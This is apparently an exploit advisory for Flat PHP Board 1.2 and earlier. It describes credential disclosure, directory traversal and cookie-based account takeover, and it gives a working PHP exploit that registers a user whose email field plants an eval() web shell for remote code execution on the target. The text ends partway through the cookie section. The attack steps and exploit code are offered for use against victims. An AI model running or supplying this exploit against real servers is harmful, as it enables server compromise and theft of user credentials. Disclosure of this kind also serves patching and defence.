Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
Flat PHP Board <= 1.2 Multiple Vulnerabilities
#By KiNgOfThEwOrLd
Remote User Credentials Disclosure
PoC:
No much to sayβ¦an attacker can get his target's informations visiting
http://[target]/[flat_php_board_path]/users/[target_username].php
The informations will be showed in this way:
Multiple Remote Command Executions / File Uploading
PoC:
When we register a new account, flat php board make a file like /users/[username].php
All the fields (Username, Password, Email) are not correctly filtred. Then, an attacker can executes a malicious code on
the vulnerable server.
Exploit:
<?
//Usage: 31337.php?targ=http://[target]/[flat_php_board_path]
$targ = $_GET['targ'];
echo '
<form action=index.php method=post>
<input type=hidden name="username" value="β¦/31337">
<input type=hidden name=a value=register2>
<input name="password" type=hidden value="r0x">
<input name="password2" type=hidden value="r0x">
<input name="email" value="<?eval(html_entity_decode(stripslashes($_GET[r0x])));?>">
<input type=submit value="Exploit!">
</form>';
/*
This will make a shell in http://[target]/[flat_php_board_path]/31337.php
Usage: http://[target]/[flat_php_board_path]/31337.php?r0x=[php_code]
*/
?>
Remote Directory Traversal / Source Disclosure
http://[target]/[flat_php_board_path]index.php?a=topic&topic=β¦/[arbitrary php file]
Remote Cookie Manipoulation / Privilege Escalation
PoC:
An attacker can login with an arbitrary account editing the fpb_username cookie.
In fact, if you try to replace your username with your target username and refresh, you will be logged in like him. But
now, if you try to edit your profile or something like that, you will generate an error like:
Error with cookies. password/username not correct.
Don't worry, if you go to index.php?a=profile you will find your victim credentials. Then, viewing the source code you
can view your victim password as: